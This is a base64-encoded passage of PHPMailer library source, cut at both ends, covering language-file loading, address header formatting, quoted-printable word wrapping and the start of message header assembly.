G1haWxlciBpcyBub3Qgc3VwcG9ydGVkLicsDQogICAgICAgICAgICAncHJvdmlkZV9hZGRyZXNzJyA9PiAnWW91IG11c3QgcHJvdmlkZSBhdCBsZWFzdCBvbmUgcmVjaXBpZW50IGVtYWlsIGFkZHJlc3MuJywNCiAgICAgICAgICAgICdyZWNpcGllbnRzX2ZhaWxlZCcgPT4gJ1NNVFAgRXJyb3I6IFRoZSBmb2xsb3dpbmcgcmVjaXBpZW50cyBmYWlsZWQ6ICcsDQogICAgICAgICAgICAnc2lnbmluZycgPT4gJ1NpZ25pbmcgRXJyb3I6ICcsDQogICAgICAgICAgICAnc210cF9jb25uZWN0X2ZhaWxlZCcgPT4gJ1NNVFAgY29ubmVjdCgpIGZhaWxlZC4nLA0KICAgICAgICAgICAgJ3NtdHBfZXJyb3InID0+ICdTTVRQIHNlcnZlciBlcnJvcjogJywNCiAgICAgICAgICAgICd2YXJpYWJsZV9zZXQnID0+ICdDYW5ub3Qgc2V0IG9yIHJlc2V0IHZhcmlhYmxlOiAnLA0KICAgICAgICAgICAgJ2V4dGVuc2lvbl9taXNzaW5nJyA9PiAnRXh0ZW5zaW9uIG1pc3Npbmc6ICcNCiAgICAgICAgKTsNCiAgICAgICAgaWYgKGVtcHR5KCRsYW5nX3BhdGgpKSB7DQogICAgICAgICAgICAvLyBDYWxjdWxhdGUgYW4gYWJzb2x1dGUgcGF0aCBzbyBpdCBjYW4gd29yayBpZiBDV0QgaXMgbm90IGhlcmUNCiAgICAgICAgICAgICRsYW5nX3BhdGggPSBkaXJuYW1lKF9fRklMRV9fKS4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdsYW5ndWFnZScuIERJUkVDVE9SWV9TRVBBUkFUT1I7DQogICAgICAgIH0NCiAgICAgICAgLy9WYWxpZGF0ZSAkbGFuZ2NvZGUNCiAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcvXlthLXpdezJ9KD86X1thLXpBLVpdezJ9KT8kLycsICRsYW5nY29kZSkpIHsNCiAgICAgICAgICAgICRsYW5nY29kZSA9ICdlbic7DQogICAgICAgIH0NCiAgICAgICAgJGZvdW5kbGFuZyA9IHRydWU7DQogICAgICAgICRsYW5nX2ZpbGUgPSAkbGFuZ19wYXRoIC4gJ3BocG1haWxlci5sYW5nLScgLiAkbGFuZ2NvZGUgLiAnLnBocCc7DQogICAgICAgIC8vIFRoZXJlIGlzIG5vIEVuZ2xpc2ggdHJhbnNsYXRpb24gZmlsZQ0KICAgICAgICBpZiAoJGxhbmdjb2RlICE9ICdlbicpIHsNCiAgICAgICAgICAgIC8vIE1ha2Ugc3VyZSBsYW5ndWFnZSBmaWxlIHBhdGggaXMgcmVhZGFibGUNCiAgICAgICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRsYW5nX2ZpbGUpIG9yICFpc19yZWFkYWJsZSgkbGFuZ19maWxlKSkgew0KICAgICAgICAgICAgICAgICRmb3VuZGxhbmcgPSBmYWxzZTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgLy8gT3ZlcndyaXRlIGxhbmd1YWdlLXNwZWNpZmljIHN0cmluZ3MuDQogICAgICAgICAgICAgICAgLy8gVGhpcyB3YXkgd2UnbGwgbmV2ZXIgaGF2ZSBtaXNzaW5nIHRyYW5zbGF0aW9uIGtleXMuDQogICAgICAgICAgICAgICAgJGZvdW5kbGFuZyA9IGluY2x1ZGUgJGxhbmdfZmlsZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkdGhpcy0+bGFuZ3VhZ2UgPSAkUEhQTUFJTEVSX0xBTkc7DQogICAgICAgIHJldHVybiAoYm9vbGVhbikkZm91bmRsYW5nOyAvLyBSZXR1cm5zIGZhbHNlIGlmIGxhbmd1YWdlIG5vdCBmb3VuZA0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEdldCB0aGUgYXJyYXkgb2Ygc3RyaW5ncyBmb3IgdGhlIGN1cnJlbnQgbGFuZ3VhZ2UuDQogICAgICogQHJldHVybiBhcnJheQ0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRUcmFuc2xhdGlvbnMoKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5sYW5ndWFnZTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDcmVhdGUgcmVjaXBpZW50IGhlYWRlcnMuDQogICAgICogQGFjY2VzcyBwdWJsaWMNCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0eXBlDQogICAgICogQHBhcmFtIGFycmF5ICRhZGRyIEFuIGFycmF5IG9mIHJlY2lwaWVudCwNCiAgICAgKiB3aGVyZSBlYWNoIHJlY2lwaWVudCBpcyBhIDItZWxlbWVudCBpbmRleGVkIGFycmF5IHdpdGggZWxlbWVudCAwIGNvbnRhaW5pbmcgYW4gYWRkcmVzcw0KICAgICAqIGFuZCBlbGVtZW50IDEgY29udGFpbmluZyBhIG5hbWUsIGxpa2U6DQogICAgICogYXJyYXkoYXJyYXkoJ2pvZUBleGFtcGxlLmNvbScsICdKb2UgVXNlcicpLCBhcnJheSgnem9lQGV4YW1wbGUuY29tJywgJ1pvZSBVc2VyJykpDQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkckFwcGVuZCgkdHlwZSwgJGFkZHIpDQogICAgew0KICAgICAgICAkYWRkcmVzc2VzID0gYXJyYXkoKTsNCiAgICAgICAgZm9yZWFjaCAoJGFkZHIgYXMgJGFkZHJlc3MpIHsNCiAgICAgICAgICAgICRhZGRyZXNzZXNbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCRhZGRyZXNzKTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJHR5cGUgLiAnOiAnIC4gaW1wbG9kZSgnLCAnLCAkYWRkcmVzc2VzKSAuICR0aGlzLT5MRTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBGb3JtYXQgYW4gYWRkcmVzcyBmb3IgdXNlIGluIGEgbWVzc2FnZSBoZWFkZXIuDQogICAgICogQGFjY2VzcyBwdWJsaWMNCiAgICAgKiBAcGFyYW0gYXJyYXkgJGFkZHIgQSAyLWVsZW1lbnQgaW5kZXhlZCBhcnJheSwgZWxlbWVudCAwIGNvbnRhaW5pbmcgYW4gYWRkcmVzcywgZWxlbWVudCAxIGNvbnRhaW5pbmcgYSBuYW1lDQogICAgICogICAgICBsaWtlIGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKQ0KICAgICAqIEByZXR1cm4gc3RyaW5nDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJGb3JtYXQoJGFkZHIpDQogICAgew0KICAgICAgICBpZiAoZW1wdHkoJGFkZHJbMV0pKSB7IC8vIE5vIG5hbWUgcHJvdmlkZWQNCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzBdKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJGFkZHJbMV0pLCAncGhyYXNlJykgLiAnIDwnIC4gJHRoaXMtPnNlY3VyZUhlYWRlcigNCiAgICAgICAgICAgICAgICAkYWRkclswXQ0KICAgICAgICAgICAgKSAuICc+JzsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFdvcmQtd3JhcCBtZXNzYWdlLg0KICAgICAqIEZvciB1c2Ugd2l0aCBtYWlsZXJzIHRoYXQgZG8gbm90IGF1dG9tYXRpY2FsbHkgcGVyZm9ybSB3cmFwcGluZw0KICAgICAqIGFuZCBmb3IgcXVvdGVkLXByaW50YWJsZSBlbmNvZGVkIG1lc3NhZ2VzLg0KICAgICAqIE9yaWdpbmFsIHdyaXR0ZW4gYnkgcGhpbGlwcGUuDQogICAgICogQHBhcmFtIHN0cmluZyAkbWVzc2FnZSBUaGUgbWVzc2FnZSB0byB3cmFwDQogICAgICogQHBhcmFtIGludGVnZXIgJGxlbmd0aCBUaGUgbGluZSBsZW5ndGggdG8gd3JhcCB0bw0KICAgICAqIEBwYXJhbSBib29sZWFuICRxcF9tb2RlIFdoZXRoZXIgdG8gcnVuIGluIFF1b3RlZC1QcmludGFibGUgbW9kZQ0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gd3JhcFRleHQoJG1lc3NhZ2UsICRsZW5ndGgsICRxcF9tb2RlID0gZmFsc2UpDQogICAgew0KICAgICAgICBpZiAoJHFwX21vZGUpIHsNCiAgICAgICAgICAgICRzb2Z0X2JyZWFrID0gc3ByaW50ZignID0lcycsICR0aGlzLT5MRSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkc29mdF9icmVhayA9ICR0aGlzLT5MRTsNCiAgICAgICAgfQ0KICAgICAgICAvLyBJZiB1dGYtOCBlbmNvZGluZyBpcyB1c2VkLCB3ZSB3aWxsIG5lZWQgdG8gbWFrZSBzdXJlIHdlIGRvbid0DQogICAgICAgIC8vIHNwbGl0IG11bHRpYnl0ZSBjaGFyYWN0ZXJzIHdoZW4gd2Ugd3JhcA0KICAgICAgICAkaXNfdXRmOCA9IChzdHJ0b2xvd2VyKCR0aGlzLT5DaGFyU2V0KSA9PSAndXRmLTgnKTsNCiAgICAgICAgJGxlbGVuID0gc3RybGVuKCR0aGlzLT5MRSk7DQogICAgICAgICRjcmxmbGVuID0gc3RybGVuKHNlbGY6OkNSTEYpOw0KDQogICAgICAgICRtZXNzYWdlID0gJHRoaXMtPmZpeEVPTCgkbWVzc2FnZSk7DQogICAgICAgIC8vUmVtb3ZlIGEgdHJhaWxpbmcgbGluZSBicmVhaw0KICAgICAgICBpZiAoc3Vic3RyKCRtZXNzYWdlLCAtJGxlbGVuKSA9PSAkdGhpcy0+TEUpIHsNCiAgICAgICAgICAgICRtZXNzYWdlID0gc3Vic3RyKCRtZXNzYWdlLCAwLCAtJGxlbGVuKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vU3BsaXQgbWVzc2FnZSBpbnRvIGxpbmVzDQogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoJHRoaXMtPkxFLCAkbWVzc2FnZSk7DQogICAgICAgIC8vTWVzc2FnZSB3aWxsIGJlIHJlYnVpbHQgaW4gaGVyZQ0KICAgICAgICAkbWVzc2FnZSA9ICcnOw0KICAgICAgICBmb3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsNCiAgICAgICAgICAgICR3b3JkcyA9IGV4cGxvZGUoJyAnLCAkbGluZSk7DQogICAgICAgICAgICAkYnVmID0gJyc7DQogICAgICAgICAgICAkZmlyc3R3b3JkID0gdHJ1ZTsNCiAgICAgICAgICAgIGZvcmVhY2ggKCR3b3JkcyBhcyAkd29yZCkgew0KICAgICAgICAgICAgICAgIGlmICgkcXBfbW9kZSBhbmQgKHN0cmxlbigkd29yZCkgPiAkbGVuZ3RoKSkgew0KICAgICAgICAgICAgICAgICAgICAkc3BhY2VfbGVmdCA9ICRsZW5ndGggLSBzdHJsZW4oJGJ1ZikgLSAkY3JsZmxlbjsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCEkZmlyc3R3b3JkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHNwYWNlX2xlZnQgPiAyMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkc3BhY2VfbGVmdDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGlzX3V0ZjgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICR0aGlzLT51dGY4Q2hhckJvdW5kYXJ5KCR3b3JkLCAkbGVuKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMSwgMSkgPT0gJz0nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4tLTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMiwgMSkgPT0gJz0nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gLT0gMjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhcnQgPSBzdWJzdHIoJHdvcmQsIDAsICRsZW4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3b3JkID0gc3Vic3RyKCR3b3JkLCAkbGVuKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYnVmIC49ICcgJyAuICRwYXJ0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWYgLiBzcHJpbnRmKCc9JXMnLCBzZWxmOjpDUkxGKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgLj0gJGJ1ZiAuICRzb2Z0X2JyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZiA9ICcnOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIHdoaWxlIChzdHJsZW4oJHdvcmQpID4gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRsZW5ndGggPD0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICRsZW5ndGg7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGlzX3V0ZjgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGVuID0gJHRoaXMtPnV0ZjhDaGFyQm91bmRhcnkoJHdvcmQsICRsZW4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDEsIDEpID09ICc9Jykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4tLTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChzdWJzdHIoJHdvcmQsICRsZW4gLSAyLCAxKSA9PSAnPScpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGVuIC09IDI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFydCA9IHN1YnN0cigkd29yZCwgMCwgJGxlbik7DQogICAgICAgICAgICAgICAgICAgICAgICAkd29yZCA9IHN1YnN0cigkd29yZCwgJGxlbik7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJsZW4oJHdvcmQpID4gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRwYXJ0IC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWYgPSAkcGFydDsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRidWZfbyA9ICRidWY7DQogICAgICAgICAgICAgICAgICAgIGlmICghJGZpcnN0d29yZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZiAuPSAnICc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJGJ1ZiAuPSAkd29yZDsNCg0KICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRidWYpID4gJGxlbmd0aCBhbmQgJGJ1Zl9vICE9ICcnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmX28gLiAkc29mdF9icmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICRidWYgPSAkd29yZDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkZmlyc3R3b3JkID0gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gc2VsZjo6Q1JMRjsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkbWVzc2FnZTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBGaW5kIHRoZSBsYXN0IGNoYXJhY3RlciBib3VuZGFyeSBwcmlvciB0byAkbWF4TGVuZ3RoIGluIGEgdXRmLTgNCiAgICAgKiBxdW90ZWQtcHJpbnRhYmxlIGVuY29kZWQgc3RyaW5nLg0KICAgICAqIE9yaWdpbmFsIHdyaXR0ZW4gYnkgQ29saW4gQnJvd24uDQogICAgICogQGFjY2VzcyBwdWJsaWMNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGVkVGV4dCB1dGYtOCBRUCB0ZXh0DQogICAgICogQHBhcmFtIGludGVnZXIgJG1heExlbmd0aCBGaW5kIHRoZSBsYXN0IGNoYXJhY3RlciBib3VuZGFyeSBwcmlvciB0byB0aGlzIGxlbmd0aA0KICAgICAqIEByZXR1cm4gaW50ZWdlcg0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiB1dGY4Q2hhckJvdW5kYXJ5KCRlbmNvZGVkVGV4dCwgJG1heExlbmd0aCkNCiAgICB7DQogICAgICAgICRmb3VuZFNwbGl0UG9zID0gZmFsc2U7DQogICAgICAgICRsb29rQmFjayA9IDM7DQogICAgICAgIHdoaWxlICghJGZvdW5kU3BsaXRQb3MpIHsNCiAgICAgICAgICAgICRsYXN0Q2h1bmsgPSBzdWJzdHIoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoIC0gJGxvb2tCYWNrLCAkbG9va0JhY2spOw0KICAgICAgICAgICAgJGVuY29kZWRDaGFyUG9zID0gc3RycG9zKCRsYXN0Q2h1bmssICc9Jyk7DQogICAgICAgICAgICBpZiAoZmFsc2UgIT09ICRlbmNvZGVkQ2hhclBvcykgew0KICAgICAgICAgICAgICAgIC8vIEZvdW5kIHN0YXJ0IG9mIGVuY29kZWQgY2hhcmFjdGVyIGJ5dGUgd2l0aGluICRsb29rQmFjayBibG9jay4NCiAgICAgICAgICAgICAgICAvLyBDaGVjayB0aGUgZW5jb2RlZCBieXRlIHZhbHVlICh0aGUgMiBjaGFycyBhZnRlciB0aGUgJz0nKQ0KICAgICAgICAgICAgICAgICRoZXggPSBzdWJzdHIoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoIC0gJGxvb2tCYWNrICsgJGVuY29kZWRDaGFyUG9zICsgMSwgMik7DQogICAgICAgICAgICAgICAgJGRlYyA9IGhleGRlYygkaGV4KTsNCiAgICAgICAgICAgICAgICBpZiAoJGRlYyA8IDEyOCkgew0KICAgICAgICAgICAgICAgICAgICAvLyBTaW5nbGUgYnl0ZSBjaGFyYWN0ZXIuDQogICAgICAgICAgICAgICAgICAgIC8vIElmIHRoZSBlbmNvZGVkIGNoYXIgd2FzIGZvdW5kIGF0IHBvcyAwLCBpdCB3aWxsIGZpdA0KICAgICAgICAgICAgICAgICAgICAvLyBvdGhlcndpc2UgcmVkdWNlIG1heExlbmd0aCB0byBzdGFydCBvZiB0aGUgZW5jb2RlZCBjaGFyDQogICAgICAgICAgICAgICAgICAgIGlmICgkZW5jb2RlZENoYXJQb3MgPiAwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkbWF4TGVuZ3RoID0gJG1heExlbmd0aCAtICgkbG9va0JhY2sgLSAkZW5jb2RlZENoYXJQb3MpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRmb3VuZFNwbGl0UG9zID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGRlYyA+PSAxOTIpIHsNCiAgICAgICAgICAgICAgICAgICAgLy8gRmlyc3QgYnl0ZSBvZiBhIG11bHRpIGJ5dGUgY2hhcmFjdGVyDQogICAgICAgICAgICAgICAgICAgIC8vIFJlZHVjZSBtYXhMZW5ndGggdG8gc3BsaXQgYXQgc3RhcnQgb2YgY2hhcmFjdGVyDQogICAgICAgICAgICAgICAgICAgICRtYXhMZW5ndGggPSAkbWF4TGVuZ3RoIC0gKCRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvcyk7DQogICAgICAgICAgICAgICAgICAgICRmb3VuZFNwbGl0UG9zID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGRlYyA8IDE5Mikgew0KICAgICAgICAgICAgICAgICAgICAvLyBNaWRkbGUgYnl0ZSBvZiBhIG11bHRpIGJ5dGUgY2hhcmFjdGVyLCBsb29rIGZ1cnRoZXIgYmFjaw0KICAgICAgICAgICAgICAgICAgICAkbG9va0JhY2sgKz0gMzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIC8vIE5vIGVuY29kZWQgY2hhcmFjdGVyIGZvdW5kDQogICAgICAgICAgICAgICAgJGZvdW5kU3BsaXRQb3MgPSB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkbWF4TGVuZ3RoOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFwcGx5IHdvcmQgd3JhcHBpbmcgdG8gdGhlIG1lc3NhZ2UgYm9keS4NCiAgICAgKiBXcmFwcyB0aGUgbWVzc2FnZSBib2R5IHRvIHRoZSBudW1iZXIgb2YgY2hhcnMgc2V0IGluIHRoZSBXb3JkV3JhcCBwcm9wZXJ0eS4NCiAgICAgKiBZb3Ugc2hvdWxkIG9ubHkgZG8gdGhpcyB0byBwbGFpbi10ZXh0IGJvZGllcyBhcyB3cmFwcGluZyBIVE1MIHRhZ3MgbWF5IGJyZWFrIHRoZW0uDQogICAgICogVGhpcyBpcyBjYWxsZWQgYXV0b21hdGljYWxseSBieSBjcmVhdGVCb2R5KCksIHNvIHlvdSBkb24ndCBuZWVkIHRvIGNhbGwgaXQgeW91cnNlbGYuDQogICAgICogQGFjY2VzcyBwdWJsaWMNCiAgICAgKiBAcmV0dXJuIHZvaWQNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0V29yZFdyYXAoKQ0KICAgIHsNCiAgICAgICAgaWYgKCR0aGlzLT5Xb3JkV3JhcCA8IDEpIHsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KDQogICAgICAgIHN3aXRjaCAoJHRoaXMtPm1lc3NhZ2VfdHlwZSkgew0KICAgICAgICAgICAgY2FzZSAnYWx0JzoNCiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOg0KICAgICAgICAgICAgY2FzZSAnYWx0X2F0dGFjaCc6DQogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lX2F0dGFjaCc6DQogICAgICAgICAgICAgICAgJHRoaXMtPkFsdEJvZHkgPSAkdGhpcy0+d3JhcFRleHQoJHRoaXMtPkFsdEJvZHksICR0aGlzLT5Xb3JkV3JhcCk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBkZWZhdWx0Og0KICAgICAgICAgICAgICAgICR0aGlzLT5Cb2R5ID0gJHRoaXMtPndyYXBUZXh0KCR0aGlzLT5Cb2R5LCAkdGhpcy0+V29yZFdyYXApOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQXNzZW1ibGUgbWVzc2FnZSBoZWFkZXJzLg0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHJldHVybiBzdHJpbmcgVGhlIGFzc2VtYmxlZCBoZWFkZXJzDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZUhlYWRlcigpDQogICAgew0KICAgICAgICAkcmVzdWx0ID0gJyc7DQoNCiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnRGF0ZScsICR0aGlzLT5NZXNzYWdlRGF0ZSA9PSAnJyA/IHNlbGY6OnJmY0RhdGUoKSA6ICR0aGlzLT5NZXNzYWdlRGF0ZSk7DQoNCiAgICAgICAgLy8gVG8gYmUgY3JlYXRlZCBhdXRvbWF0aWNhbGx5IGJ5IG1haWwoKQ0KICAgICAgICBpZiAoJHRoaXMtPlNpbmdsZVRvKSB7DQogICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+dG8gYXMgJHRvYWRkcikgew0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+U2luZ2xlVG9BcnJheVtdID0gJHRoaXMtPmFkZHJGb3JtYXQoJHRvYWRkcik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7DQogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7DQogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1RvJywgJHRoaXMtPnRvKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2VpZiAoY291bnQoJHRoaXMtPmNjKSA9PSAwKSB7DQogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnVG8nLCAndW5kaXNjbG9zZWQtcmVjaXBpZW50czo7Jyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdGcm9tJywgYXJyYXkoYXJyYXkodHJpbSgkdGhpcy0+RnJvbSksICR0aGlzLT5Gcm9tTmFtZSkpKTsNCg0KICAgICAgICAvLyBzZW5kbWFpbCBhbmQgbWFpbCgpIGV4dHJhY3QgQ2MgZnJvbSB0aGUgaGVhZGVyIGJlZm9yZSBzZW5kaW5nDQogICAgICAgIGlmIChjb3VudCgkdGhpcy0+Y2MpID4gMCkgew0KICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+YWRkckFwcGVuZCgnQ2MnLCAkdGhpcy0+Y2MpOw0KICAgICAgICB9DQoNCiAgICAgICAgLy8gc2VuZG1haWwgYW5kIG1haWwoKSBleHRyYWN0IEJjYyBmcm9tIHRoZSBoZWFkZXIgYmVmb3JlIHNlbmRpbmcNCiAgICAgICAgaWYgKCgNCiAgICAgICAgICAgICAgICAkdGhpcy0+TWFpbGVyID09ICdzZW5kbWFpbCcgb3IgJHRoaXMtPk1haWxlciA9PSAncW1haWwnIG9yICR0aGlzLT5NYWlsZXIgPT0gJ21haWwnDQogICAgICAgICAgICApDQogICAgICAgICAgICBhbmQgY291bnQoJHRoaXMtPmJjYykgPiAwDQogICAgICAgICkgew0KICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+YWRkckFwcGVuZCgnQmNjJywgJHRoaXMtPmJjYyk7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoY291bnQoJHRoaXMtPlJlcGx5VG8pID4gMCkgew0KICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+YWRkckFwcGVuZCgnUmVwbHktVG8nLCAkdGhpcy0+UmVwbHlUbyk7DQogICAgICAgIH0NCg0KICAgICAgICAvLyBtYWlsKCkgc2V0cyB0aGUgc3ViamVjdCBpdHNlbGYNCiAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7DQogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdTdWJqZWN0JywgJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCR0aGlzLT5TdWJqZWN0KSkpOw0KICAgICAgICB9DQoNCiAgICAgICAgLy8gT25seSBhbGxvdyBhIGN1c3RvbSBtZXNzYWdlIElEIGlmIGl0IGNvbmZvcm1zIHRvIFJGQyA1MzIyIHNlY3Rpb24gMy42LjQNCiAgICAgICAgLy8gaHR0cHM6Ly90b29scy5pZXRmLm9yZy9odG1sL3JmYzUzMjIjc2VjdGlvbi0zLjYuNA0KICAgICAgICBpZiAoJycgIT0gJHRoaXMtPk1lc3NhZ2VJRCBhbmQgcHJlZ19tYXRjaCgnL148LipALio+JC8nLCAkdGhpcy0+TWVzc2FnZUlEKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxhc3RNZXNzYWdlSUQgPSAkdGhpcy0+TWVzc2FnZUlEOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJHRoaXMtPmxhc3RNZXNzYWdlSUQgPSBzcHJpbnRmKCc8JXNAJXM+JywgJHRoaXMtPnVuaXF1ZWlkLCAkdGhpcy0+c2VydmVySG9zdG5hbWUoKSk7DQogICAgICAgIH0NCiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy